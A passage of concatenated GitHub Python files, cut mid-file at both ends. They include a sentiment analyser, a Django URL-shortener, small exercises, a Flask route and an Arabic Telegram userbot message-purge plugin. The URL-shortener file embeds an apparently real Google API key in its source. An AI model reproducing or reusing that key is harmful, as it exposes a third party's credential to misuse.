sentemp<0:\n\t\t\t\tadjpol.append(\"negative\")\n\t\t\telse:\n\t\t\t\tadjpol.append(\"neutral\")\n\treturn adjpol\ndef CleaningStopWords(Person1):\n\tfiltered_data=[]\n\tstop_words = set(stopwords.words('english'))\n\tword_tokens=word_tokenize(Person1)\n\tfor word in word_tokens:\n\t\tif word not in stop_words:\n\t\t\tfiltered_data.append(word)\n\treturn filtered_data\ndef StemmingWords(filteredText):\n\tlemmatizer=WordNetLemmatizer()\n\tstemmedData=[]\n\twords=['I','.',',','u']\n\tfor i in filteredText:\n\t\tif i not in words:\n\t\t\tstemmedData.append(lemmatizer.lemmatize(i))\n\treturn stemmedData\ndef Frequency_count(countdata):\n\tcounts=dict(Counter(countdata).most_common(10))\n\tlabels, values = zip(*counts.items())\n\tkeys=[]\n\tkeyword_count=[]\n\tfor key in counts:\n\t\tkeys.append(key)\n\t# sort your values in descending order\n\tindSort = np.argsort(values)[::-1]\n\n\t# rearrange your data\n\tlabels = np.array(labels)[indSort]\n\tvalues = np.array(values)[indSort]\n\n\tindexes = np.arange(len(labels))\n\n\tbar_width = 0.35\n\n\tplt.bar(indexes, values)\n\n\t# add labels\n\tplt.xticks(indexes + bar_width, labels)\n\tplt.show()\n\tfor i in keys:\n\t\tanalysis=TextBlob(i)\n\t\tsentemp=analysis.sentiment.polarity\n\t\tif (sentemp==0):\n\t\t\tkeyword_count.append([i,\"neutral\"])\n\t\telif (sentemp>0):\n\t\t\tkeyword_count.append([i,\"positive\"])\n\t\telse:\n\t\t\tkeyword_count.append([i,\"negative\"])\n\treturn keyword_count\n\t\t\t\ndef PreprocessData(Speaker1,Speaker2,Others):\n\t#convert list to string\n\tSpeaker1Text=\"\"\n\tSpeaker2Text=\"\"\n\tfor sen in Speaker1:\n\t\tSpeaker1Text=Speaker1Text+sen\n\tfor sen in Speaker2:\n\t\tSpeaker2Text=Speaker2Text+sen\n\tCleanedSpeaker1=CleaningStopWords(Speaker1Text)\n\tCleanedSpeaker2=CleaningStopWords(Speaker2Text)\n\tStemmedData1=StemmingWords(CleanedSpeaker1)\n\tStemmedData2=StemmingWords(CleanedSpeaker2)\n\tprint(\"Speaker 1 frequency count:\")\n\tcountspeak1=Frequency_count(StemmedData1)\n\tprint(countspeak1)\n\tprint(\"\\nSpeaker 2 frequency count:\")\n\tcountspeak2=Frequency_count(StemmedData2)\n\tprint(countspeak2)\n\tprint(\"Determining based on Adjective and adverb of Speaker 1:\")\n\tAdjadv1=AdjectivePolarity(Speaker1Text)\n\tprint(Adjadv1)\n\tprint(\"Determining based on Adjective and adverb of Speaker 2:\")\n\tAdjadv2=AdjectivePolarity(Speaker2Text)\n\tprint(Adjadv2)\n\tPositive1,Negative1=Decision_take(StemmedData1)\n\tprint(Positive1,Negative1)\n\tPositive2,Negative2=Decision_take(StemmedData2)\n\tprint(Positive2,Negative2)\n\tSentSpeaker1=SentenceBasedAnalysis(Speaker1Text)\n\tprint(SentSpeaker1)\n\tSentSpeaker2=SentenceBasedAnalysis(Speaker2Text)\n\tprint(SentSpeaker2)\n\tSentTextBlob1=SenTextBlob(Speaker1Text)\n\tSentTextBlob2=SenTextBlob(Speaker2Text)\ndef SeparateSpeakers(Data):\n\tSpeaker1=[]\n\tSpeaker2=[]\n\tOthers=[]\n\tfor i in Data:\n\t\tif i.startswith(\"Speaker 0\"):\n\t\t\tSpeaker1.append(i[10:-1])\n\t\tif i.startswith(\"Speaker 1\"):\n\t\t\tSpeaker2.append(i[10:-1])\n\t\telse:\n\t\t\tOthers.append(i[10:-1])\n\tPreprocessData(Speaker1,Speaker2,Others)\ndef OpenFile(name):\n\tDatafile=open(\"Text/\"+name,'r')\n\tDatalist=Datafile.readlines()\n\tSeparateSpeakers(Datalist)\n\n\t\nname=raw_input(\"Enter the file name:\")\nOpenFile(name)\n\n\t","repo_name":"saiteja75/CallAnalysis","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":6009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15574516546","text":"\nfrom .models import Error, Period, PeriodDetail, Url\n\nimport requests\nimport json\n\nAPI_KEY = 'AIzaSyCl52P8Tw1VoGD6EDw7dAZgmtalmVStQcs'\n\ndef google_url_shorten(url):\n req_url = 'https://www.googleapis.com/urlshortener/v1/url?key=' + API_KEY\n payload = {'longUrl': url}\n headers = {'content-type': 'application/json'}\n r = requests.post(req_url, data=json.dumps(payload), headers=headers)\n resp = json.loads(r.text)\n return resp\n\ndef google_url_expand(url):\n req_url = 'https://www.googleapis.com/urlshortener/v1/url' \n payload = {'key': API_KEY, 'shortUrl': url, 'projection': 'full'}\n r = requests.get(req_url, params=payload)\n resp = json.loads(r.text)\n return resp\n\ndef keys_exists(element, *keys):\n '''\n Check if *keys (nested) exists in `element` (dict).\n '''\n if type(element) is not dict:\n raise AttributeError('keys_exists() expects dict as first argument.')\n if len(keys) == 0:\n raise AttributeError('keys_exists() expects at least two arguments, one given.')\n\n _element = element\n for key in keys:\n try:\n _element = _element[key]\n except KeyError:\n return False\n return True\n\ndef create_period_detail(obj, *keys):\n return_list = []\n obj_count = 0\n if keys_exists(obj, *keys):\n obj_list = obj.get(keys[0]).get(keys[1]).get(keys[2])\n print(f\"Period: {keys[1]} | Metric Type: {keys[2]}\")\n for item in obj_list:\n new_item = PeriodDetail(\n count = int(item.get('count')),\n source_id = item.get('id')\n )\n new_item.save() #Requires the object to be saved before it can be added as part of another object\n obj_count= obj_count + 1\n print(f\"Entry Count: {obj_count} | Source id: {new_item.source_id} | Click Count: {new_item.count}\")\n return_list.append(new_item)\n return return_list\n\n\ndef create_period(obj, obj_list, *keys):\n obj_total = 0\n output = Period(\n short_url_clicks = int(obj.get(keys[0]).get(keys[1]).get(keys[2])),\n long_url_clicks = int(obj.get(keys[0]).get(keys[1]).get(keys[3]))\n )\n output.save()\n for index, list in enumerate(obj_list):\n print(f\"List Index: {index} | List: {list}\")\n if index is 0:\n obj_count = 0\n for item in list:\n output.referrer.add(item)\n obj_count = obj_count + 1\n obj_total = obj_total + obj_count\n print(f\"Referrers added {obj_count} objects\")\n elif index is 1:\n obj_count = 0\n for item in list:\n output.country.add(item)\n obj_count = obj_count + 1\n obj_total = obj_total + obj_count\n print(f\"Countries added {obj_count} objects\")\n elif index is 2:\n obj_count = 0\n for item in list:\n output.browser.add(item)\n obj_count = obj_count + 1\n obj_total = obj_total + obj_count\n print(f\"Browsers added {obj_count} objects\")\n elif index is 3:\n obj_count = 0\n for item in list:\n output.platform.add(item)\n obj_count = obj_count + 1\n obj_total = obj_total + obj_count\n print(f\"Platforms added {obj_count} objects\")\n output.save()\n print(f\"The total number of object(s) added is {obj_total}\")\n return output\n \ndef create_analytics(obj):\n # Retrieving values from JSON > Creating \n # Tier 3\n # All Time\n alltime_list = []\n alltime_list.append(create_period_detail(obj, 'analytics', 'allTime', 'referrers'))\n alltime_list.append(create_period_detail(obj, 'analytics', 'allTime', 'countries'))\n alltime_list.append(create_period_detail(obj, 'analytics', 'allTime', 'browsers'))\n alltime_list.append(create_period_detail(obj, 'analytics', 'allTime', 'platforms'))\n \n # Month\n month_list = []\n month_list.append(create_period_detail(obj, 'analytics', 'month', 'referrers'))\n month_list.append(create_period_detail(obj, 'analytics', 'month', 'countries'))\n month_list.append(create_period_detail(obj, 'analytics', 'month', 'browsers'))\n month_list.append(create_period_detail(obj, 'analytics', 'month', 'platforms'))\n\n # Week\n week_list = []\n week_list.append(create_period_detail(obj, 'analytics', 'week', 'referrers'))\n week_list.append(create_period_detail(obj, 'analytics', 'week', 'countries'))\n week_list.append(create_period_detail(obj, 'analytics', 'week', 'browsers'))\n week_list.append(create_period_detail(obj, 'analytics', 'week', 'platforms'))\n \n # Day\n day_list = []\n day_list.append(create_period_detail(obj, 'analytics', 'day', 'referrers'))\n day_list.append(create_period_detail(obj, 'analytics', 'day', 'countries'))\n day_list.append(create_period_detail(obj, 'analytics', 'day', 'browsers'))\n day_list.append(create_period_detail(obj, 'analytics', 'day', 'platforms'))\n\n # twoHours\n twoHour_list = []\n twoHour_list.append(create_period_detail(obj, 'analytics', 'twoHours', 'referrers'))\n twoHour_list.append(create_period_detail(obj, 'analytics', 'twoHours', 'countries'))\n twoHour_list.append(create_period_detail(obj, 'analytics', 'twoHours', 'browsers'))\n twoHour_list.append(create_period_detail(obj, 'analytics', 'twoHours', 'platforms'))\n\n # Tier 2\n alltime = create_period(obj, alltime_list, 'analytics', 'allTime', 'shortUrlClicks', 'longUrlClicks')\n month = create_period(obj, month_list, 'analytics', 'month', 'shortUrlClicks', 'longUrlClicks')\n week = create_period(obj, week_list, 'analytics', 'week', 'shortUrlClicks', 'longUrlClicks')\n day = create_period(obj, day_list, 'analytics', 'day', 'shortUrlClicks', 'longUrlClicks')\n twoHour = create_period(obj, twoHour_list, 'analytics', 'twoHours', 'shortUrlClicks', 'longUrlClicks')\n\n analytics_list = []\n analytics_list.append(alltime)\n analytics_list.append(month)\n analytics_list.append(week)\n analytics_list.append(day)\n analytics_list.append(twoHour)\n\n return analytics_list\n\n# Non default/optional arguments before default/optional arguments\ndef create_url(status, input_url, obj_list, obj=None):\n if status is 'Success':\n new_url = Url.objects.create(\n short_url = obj.get('id'),\n input_url = input_url,\n status = obj.get('status'),\n created = obj.get('created'),\n alltime = obj_list[0],\n month = obj_list[1],\n week = obj_list[2],\n day = obj_list[3],\n twohour = obj_list[4],\n errormessage = None \n )\n elif status is 'Unsuccessful':\n new_url = Url.objects.create(\n short_url = 'Unable to generate mini url',\n input_url = input_url,\n status = 'Error',\n created = None,\n alltime = None,\n month = None,\n week = None,\n day = None,\n twohour = None,\n errormessage = obj_list[0] \n )\n return new_url\n\n# def create_error_detail(obj):\n# new_obj_count = 0\n# obj = obj.get('error').get('errors')\n# print(\"Retriving error message details\")\n# for item in obj:\n# new_error_detail = ErrorDetail(\n# domain = item.get('domain'),\n# reason = item.get('reason'),\n# message = item.get('message'),\n# locationType = item.get('locationType'),\n# location = item.get('location')\n# )\n# new_error_detail.save()\n# new_obj_count = new_obj_count + 1\n# print(\n# f\"\"\"\n# Index: {new_obj_count} | \n# Domain: {new_error_detail.domain} | \n# Required: {new_error_detail.reason} |\n# Message: {new_error_detail.message} |\n# Location Type: {new_error_detail.locationType} |\n# Location: {new_error_detail.location}\"\"\"\n# )\n# return new_error_detail\n\ndef create_error(obj):\n new_obj_count = 0\n obj_list = obj.get('error').get('errors')\n\n for item in obj_list:\n new_error = Error(\n domain = item.get('domain'),\n reason = item.get('reason'),\n message = item.get('message'),\n locationType = item.get('locationType'),\n location = item.get('location'),\n code = int(obj.get('error').get('code'))\n )\n new_error.save()\n new_obj_count = new_obj_count + 1\n new_error_list = []\n new_error_list.append(new_error)\n print(\n f\"\"\"\n Entry Count: {new_obj_count} | \n Domain: {new_error.domain} | \n Reason: {new_error.reason} |\n Message: {new_error.message} |\n Location Type: {new_error.locationType} |\n Location: {new_error.location} | \n Code: {new_error.code} | \n Message: {new_error.message}\n \"\"\"\n )\n return new_error_list\n\n\n","repo_name":"wackdot/django_url_shorterner","sub_path":"src/shorterner/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5615378132","text":"#Oefening 7\n#Python Programming - Labo 3 3\n#Je maakt een functie is_integer() die nagaat of de karakters in een string een integer\n#vertegenwoordigen. Je verwijdert alle eventuele witruimte voor en na de ingevoerde\n#string. Je geeft True terug als de lengte na verwijderen van witruimte minstens 1\n#bedraagt en enkel uit getallen bestaat, of als het eerste karakter een + of een - is en\n#de rest allemaal getallen. Schrijf in een mai-functie een programma dat een string\n#vraagt aan de gebruiker en teruggeeft of het hier al dan niet om een integer gaat.\n#Zorg ervoor dat het programma niet loopt als deze oplossing wordt ge�mporteerd\n#binnen een ander programma.\ndef is_integer(string):\n \n string = string.strip()\n \n if len(string) == 0:\n return False\n \n string = string.lstrip('+-')\n \n return string.isdigit()\n\nif __name__ == '__main__':\n \n s = input(\"Geef een string: \")\n \n if is_integer(s):\n print(\"Dit is een integer.\")\n else:\n print(\"Dit is geen integer.\")","repo_name":"jochensambaer1/22-23-Python-OOP","sub_path":"labo3/oefening7.py","file_name":"oefening7.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25969074659","text":"#!/usr/bin/python3\n\nfrom sys import argv\nfrom calculator_1 import add, sub, mul, div\nif __name__ != \"__main__\":\n exit()\nargc = len(argv) - 1\nif argc != 3:\n print(\"Usage: {:s} \".format(argv[0]))\n exit(1)\nelif argv[2] == '+':\n op = add\nelif argv[2] == '-':\n op = sub\nelif argv[2] == '*':\n op = mul\nelif argv[2] == '/':\n op = div\nelse:\n print(\"Unknown operator. Available operators: +, -, * and /\")\n exit(1)\n\nprint(\"{:d} {:s} {:d} = {:d}\".format(int(argv[1]), argv[2], int(argv[3]),\n op(int(argv[1]), int(argv[3]))))\n","repo_name":"YOUNESSE25/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73174778920","text":"from flask import Blueprint, jsonify, request\n\nfrom app.models.player import Player\n\nplayer_main = Blueprint('player_main', __name__)\n\n\n@player_main.route('', methods=['GET', 'POST'])\ndef get_player():\n \"\"\" Player route.\n ---\n get:\n summary: Get all players or player specified.\n description: Get a user by ID or all players if no ID is supplied.\n parameters:\n - name: player_id\n in: query\n description: Numeric ID of the player to get\n type: integer\n required: false\n responses:\n 200:\n description: Player object(s) to be returned.\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/Player'\n \"\"\"\n player_id = request.args.get('player_id')\n\n # Get all records with this player_id if supplied, otherwise get all records\n if player_id:\n player_records = Player.query.filter_by(player_id=player_id).all()\n else:\n player_records = Player.query.all()\n\n # Return records found as json - empty array if no records found\n return jsonify([ob.to_dict() for ob in player_records])\n","repo_name":"CQuinn93/f2t","sub_path":"app/controllers/player_controller.py","file_name":"player_controller.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"13521750816","text":"#!/usr/bin/env python3\n\n\ndef piglatinify(string: str) -> str:\n string = string.strip()\n\n if len(string) == 0:\n raise ValueError(\"String of size zero\")\n\n if string[0] not in \"aeiou\":\n string = string[1:] + string[0]\n\n string += \"ay\"\n\n return string\n\nif __name__ == \"__main__\":\n print(piglatinify(\"latin\"))\n print(piglatinify(\"amish\"))\n","repo_name":"cwfitzgerald/CS127","sub_path":"03 Fizzbuzz-Piglatin/piglatin.py","file_name":"piglatin.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13034605172","text":"\"\"\"\nThe main run file.\n\"\"\"\nfrom asyncio import get_event_loop, set_event_loop_policy\nfrom sys import argv\n\nfrom uvloop import EventLoopPolicy\n\nfrom bot import Hifumi, version_info as v\nfrom cogs import *\n\n\ndef run(args):\n set_event_loop_policy(EventLoopPolicy())\n loop = get_event_loop()\n try:\n shard_id = int(args[-1])\n except ValueError:\n shard_id = 0\n version = f'{v.releaselevel} {v.major}.{v.minor}.{v.micro}'\n if v.serial > 0:\n version += f'-{v.serial}'\n bot = loop.run_until_complete(Hifumi.get_bot(version, shard_id))\n cogs = [\n BotInfo(bot),\n ChannelReader(bot),\n Custom(bot),\n Currency(bot),\n Fun(bot),\n Interactions(bot),\n Moderation(bot),\n Music(bot),\n Nsfw(bot),\n OwnerOnly(bot),\n Roles(bot),\n Tags(bot),\n Utilities(bot)\n ]\n bot.start_bot(cogs)\n\n\nif __name__ == '__main__':\n run(argv)\n","repo_name":"MaT1g3R/Hifumi-bot","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"13443485263","text":"def getErrorPage(errorcode, msg = \"\"):\n \"\"\"\\\n Get the HTML associated with an (integer) error code.\n \"\"\"\n\n if errorcode == 400:\n return {\n \"statuscode\" : \"400\",\n \"data\" : u\"\\n400 Bad Request\\n\\n

400 Bad Request

\\n

\" + msg + \"

\\n\\n\\n\",\n \"content-type\" : \"text/html\",\n }\n\n elif errorcode == 404:\n return {\n \"statuscode\" : \"404\",\n \"data\" : u\"\\n404 Not Found\\n\\n

404 Not Found

\\n

\" + msg + u\"

\\n\\n\\n\",\n \"content-type\" : \"text/html\"\n }\n\n elif errorcode == 500:\n return {\n \"statuscode\" : \"500\",\n \"data\" : u\"\\n500 Internal Server Error\\n\\n

500 Internal Server Error

\\n

\" + msg + u\"

\\n\\n\\n\",\n \"content-type\" : \"text/html\"\n }\n\n elif errorcode == 501:\n return {\n \"statuscode\" : \"501\",\n \"data\" : u\"\\n501 Not Implemented\\n\\n

501 Not Implemented

\\n

\" + msg + u\"

\\n\\n\\n\",\n \"content-type\" : \"text/html\"\n }\n\n else:\n return {\n \"statuscode\" : str(errorcode),\n \"data\" : u\"\",\n \"content-type\" : \"text/html\"\n }\n\n","repo_name":"nuxleus/Nuxleus","sub_path":"linux-distro/package/nuxleus/Source/Vendor/Microsoft/IronPython-2.0.1/Lib/Kamaelia/Protocol/HTTP/ErrorPages.py","file_name":"ErrorPages.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"10035405902","text":"# Userbot module for purging unneeded messages(usually spam or ot).\nimport re\nfrom asyncio import sleep\n\nfrom telethon.errors import rpcbaseerrors\nfrom telethon.tl.types import (\n InputMessagesFilterDocument,\n InputMessagesFilterEmpty,\n InputMessagesFilterGeo,\n InputMessagesFilterGif,\n InputMessagesFilterMusic,\n InputMessagesFilterPhotos,\n InputMessagesFilterRoundVideo,\n InputMessagesFilterUrl,\n InputMessagesFilterVideo,\n InputMessagesFilterVoice,\n)\n\nfrom userbot import jmthon\n\nfrom ..core.managers import edit_delete, edit_or_reply\nfrom ..helpers.utils import reply_id\nfrom . import BOTLOG, BOTLOG_CHATID\n\nplugin_category = \"utils\"\n\n\npurgelist = {}\n\npurgetype = {\n \"a\": InputMessagesFilterVoice,\n \"f\": InputMessagesFilterDocument,\n \"g\": InputMessagesFilterGif,\n \"i\": InputMessagesFilterPhotos,\n \"l\": InputMessagesFilterGeo,\n \"m\": InputMessagesFilterMusic,\n \"r\": InputMessagesFilterRoundVideo,\n \"t\": InputMessagesFilterEmpty,\n \"u\": InputMessagesFilterUrl,\n \"v\": InputMessagesFilterVideo,\n # \"s\": search\n}\n\n\n@jmthon.ar_cmd(\n pattern=\"مسح(\\s*| \\d+)$\",\n command=(\"مسح\", plugin_category))\nasync def delete_it(event):\n \"To delete replied message.\"\n input_str = event.pattern_match.group(1).strip()\n msg_src = await event.get_reply_message()\n if msg_src:\n if input_str and input_str.isnumeric():\n await event.delete()\n await sleep(int(input_str))\n try:\n await msg_src.delete()\n if BOTLOG:\n await event.client.send_message(\n BOTLOG_CHATID, \"#المسح \\n**تم حذف الرسالة بنجاح ✓**\"\n )\n except rpcbaseerrors.BadRequestError:\n if BOTLOG:\n await event.client.send_message(\n BOTLOG_CHATID,\n \"**- يجب ان تكون مشرف لمسح الرسائل هنا**\",\n )\n elif input_str:\n if not input_str.startswith(\"فار\"):\n await edit_or_reply(event, \"- عذرا يجب الرد بشكل صحيح\")\n else:\n try:\n await msg_src.delete()\n await event.delete()\n if BOTLOG:\n await event.client.send_message(\n BOTLOG_CHATID, \"#المسح \\n**تم حذف الرسالة بنجاح ✓**\"\n )\n except rpcbaseerrors.BadRequestError:\n await edit_or_reply(event, \"**- عذرا لا استطيع حذف الرسائل**\")\n elif not input_str:\n await event.delete()\n\n\n@jmthon.ar_cmd(\n pattern=\"حذف من$\",\n command=(\"حذف من\", plugin_category))\nasync def purge_from(event):\n \"To mark the message for purging\"\n reply = await event.get_reply_message()\n if reply:\n reply_message = await reply_id(event)\n purgelist[event.chat_id] = reply_message\n await edit_delete(\n event,\n \"- تم تحديد هذه الرساله للحذف الان قم بالرد على رساله ثانيه تحتها بأمر `.حذف الى` لحذف الرسائل التي بين الرسالتين التي تم تحديدهما\",\n )\n else:\n await edit_delete(event, \"**- يجب عليك الرد على الرسالة اولا**\")\n\n\n@jmthon.ar_cmd(\n pattern=\"حذف الى$\",\n command=(\"حذف الى\", plugin_category))\nasync def purge_to(event):\n \"To mark the message for purging\"\n chat = await event.get_input_chat()\n reply = await event.get_reply_message()\n try:\n from_message = purgelist[event.chat_id]\n except KeyError:\n return await edit_delete(\n event,\n \"اولا عليك تحديد رسالة بأمر `.حذف من` بعدها استخدم امر `.حذف الى` لحذف الرسائل بين الكلمتين التي تم الرد عليهما\",\n )\n if not reply or not from_message:\n return await edit_delete(\n event,\n \"اولا عليك تحديد رسالة بأمر `.حذف من` بعدها استخدم امر `.حذف الى` لحذف الرسائل بين الكلمتين التي تم الرد عليهما\",\n )\n try:\n to_message = await reply_id(event)\n msgs = []\n count = 0\n async for msg in event.client.iter_messages(\n event.chat_id, min_id=(from_message - 1), max_id=(to_message + 1)\n ):\n msgs.append(msg)\n count += 1\n msgs.append(event.reply_to_msg_id)\n if len(msgs) == 100:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n await edit_delete(\n event,\n \"تم التنظيف بنجاح \\nتم حذف \" + str(count) + \" من الرسائل\",\n )\n if BOTLOG:\n await event.client.send_message(\n BOTLOG_CHATID,\n \"#التنظيف \\n**حذف \" + str(count) + \" من الرسائل تم بنجاح**\",\n )\n except Exception as e:\n await edit_delete(event, f\"**خطأ**\\n`{e}`\")\n\n\n@jmthon.ar_cmd(\n pattern=\"حذف رسائلي\",\n command=(\"حذف رسائلي\", plugin_category),\n info={\n \"header\": \"To purge your latest messages.\",\n \"description\": \"Deletes x(count) amount of your latest messages.\",\n \"usage\": \"{tr}purgeme \",\n \"examples\": \"{tr}purgeme 2\",\n },\n)\nasync def purgeme(event):\n \"To purge your latest messages.\"\n message = event.text\n count = int(message[9:])\n i = 1\n async for message in event.client.iter_messages(event.chat_id, from_user=\"me\"):\n if i > count + 1:\n break\n i += 1\n await message.delete()\n\n smsg = await event.client.send_message(\n event.chat_id,\n \"**تم التنظيف بنجاح ✓ \\n**تم حذف \" + str(count) + \" من الرسائل**\",\n )\n if BOTLOG:\n await event.client.send_message(\n BOTLOG_CHATID,\n \"#حذف_رسائلي \\n**تم حذف \" + str(count) + \" من الرسائل بنجاح ✓**\",\n )\n await sleep(5)\n await smsg.delete()\n\n\n# TODO: only sticker messages.\n@jmthon.ar_cmd(\n pattern=\"تنظيف(?:\\s|$)([\\s\\S]*)\",\n command=(\"تنظيف\", plugin_category),\n info={\n \"header\": \"To purge messages from the replied message.\",\n \"description\": \"• Deletes the x(count) amount of messages from the replied message\\\n \\n• If you don't use count then deletes all messages from the replied messages\\\n \\n• If you haven't replied to any message and used count then deletes recent x messages.\\\n \\n• If you haven't replied to any message or havent mentioned any flag or count then doesnt do anything\\\n \\n• If flag is used then selects that type of messages else will select all types\\\n \\n• You can use multiple flags like -gi 10 (It will delete 10 images and 10 gifs but not 10 messages of combination images and gifs.)\\\n \",\n \"flags\": {\n \"a\": \"To delete Voice messages.\",\n \"f\": \"To delete documents.\",\n \"g\": \"To delete gif's.\",\n \"i\": \"To delete images/photos.\",\n \"l\": \"To delete locations/gps.\",\n \"m\": \"To delete Audio files(music files).\",\n \"r\": \"To delete Round video messages.\",\n \"t\": \"To delete stickers and text messages.\",\n \"u\": \"To delete url/links.\",\n \"v\": \"To delete Video messages.\",\n \"s\": \"To search paticular message and delete\",\n },\n \"usage\": [\n \"{tr}purge - to delete x flagged messages after reply\",\n \"{tr}purge - to delete recent x messages\",\n ],\n \"examples\": [\n \"{tr}purge 10\",\n \"{tr}purge -f 10\",\n \"{tr}purge -gi 10\",\n ],\n },\n)\nasync def fastpurger(event): # sourcery no-metrics\n \"To purge messages from the replied message\"\n chat = await event.get_input_chat()\n msgs = []\n count = 0\n input_str = event.pattern_match.group(1)\n ptype = re.findall(r\"-\\w+\", input_str)\n try:\n p_type = ptype[0].replace(\"-\", \"\")\n input_str = input_str.replace(ptype[0], \"\").strip()\n except IndexError:\n p_type = None\n error = \"\"\n result = \"\"\n await event.delete()\n reply = await event.get_reply_message()\n if reply:\n if input_str and input_str.isnumeric():\n if p_type is not None:\n for ty in p_type:\n if ty in purgetype:\n async for msg in event.client.iter_messages(\n event.chat_id,\n limit=int(input_str),\n offset_id=reply.id - 1,\n reverse=True,\n filter=purgetype[ty],\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n elif ty == \"s\":\n error += \"\\n• لا يمكنك استخدام اضافه الـ `البحث` مع بقيه الاضافات\" \n else:\n error += f\"\\n• `{ty}` هذه الاضافه غير صحيحه\"\n else:\n count += 1\n async for msg in event.client.iter_messages(\n event.chat_id,\n limit=(int(input_str) - 1),\n offset_id=reply.id,\n reverse=True,\n ):\n msgs.append(msg)\n count += 1\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n elif input_str and p_type is not None:\n if p_type == \"s\":\n try:\n cont, inputstr = input_str.split(\" \")\n except ValueError:\n cont = \"خطأ\"\n inputstr = input_str\n cont = cont.strip()\n inputstr = inputstr.strip()\n if cont.isnumeric():\n async for msg in event.client.iter_messages(\n event.chat_id,\n limit=int(cont),\n offset_id=reply.id - 1,\n reverse=True,\n search=inputstr,\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n else:\n async for msg in event.client.iter_messages(\n event.chat_id,\n offset_id=reply.id - 1,\n reverse=True,\n search=input_str,\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n else:\n error += f\"\\n• `{ty}` هذه الاضافه غير صحيحه\"\n elif input_str:\n error += f\"\\n• `.تنظيف {input_str}` هو استخدام غير صحيح شاهد قائمه الاوامر و استخدم بشكل صحيح\"\n elif p_type is not None:\n for ty in p_type:\n if ty in purgetype:\n async for msg in event.client.iter_messages(\n event.chat_id,\n min_id=event.reply_to_msg_id - 1,\n filter=purgetype[ty],\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n else:\n error += f\"\\n• `{ty}` هذه الاضافه غير صحيحه\"\n else:\n async for msg in event.client.iter_messages(\n chat, min_id=event.reply_to_msg_id - 1\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n elif p_type is not None and input_str:\n if p_type != \"s\" and input_str.isnumeric():\n for ty in p_type:\n if ty in purgetype:\n async for msg in event.client.iter_messages(\n event.chat_id, limit=int(input_str), filter=purgetype[ty]\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n elif ty == \"s\":\n error += \"\\n• لا يمكنك استخدام اضافه الـ `البحث` مع بقيه الاضافات\" \n\n else:\n error += f\"\\n• `{ty}` هذه الاضافه غير صحيحه\"\n elif p_type == \"s\":\n try:\n cont, inputstr = input_str.split(\" \")\n except ValueError:\n cont = \"خطأ\"\n inputstr = input_str\n cont = cont.strip()\n inputstr = inputstr.strip()\n if cont.isnumeric():\n async for msg in event.client.iter_messages(\n event.chat_id, limit=int(cont), search=inputstr\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n else:\n async for msg in event.client.iter_messages(\n event.chat_id, search=input_str\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n else:\n error += f\"\\n• `{ty}` هذه الاضافه غير صحيحه\"\n elif p_type is not None:\n for ty in p_type:\n if ty in purgetype:\n async for msg in event.client.iter_messages(\n event.chat_id, filter=purgetype[ty]\n ):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n elif ty == \"s\":\n error += \"\\n• لا يمكنك استخدام اضافه الـ `البحث` مع بقيه الاضافات\" \n\n else:\n error += f\"\\n• `{ty}`هذه الاضافه غير صحيحه\"\n elif input_str.isnumeric():\n async for msg in event.client.iter_messages(chat, limit=int(input_str) + 1):\n count += 1\n msgs.append(msg)\n if len(msgs) == 50:\n await event.client.delete_messages(chat, msgs)\n msgs = []\n if msgs:\n await event.client.delete_messages(chat, msgs)\n else:\n error += \"\\n• لم يتم تحديد اضافه يرجى استخدام الامر بشكل صحيح\"\n if msgs:\n await event.client.delete_messages(chat, msgs)\n if count > 0:\n result += \"**تم التنظيف بنجاح** \\n**تم مسح**\" + str(count) + \" ** من الرسائل**\"\n if error != \"\":\n result += 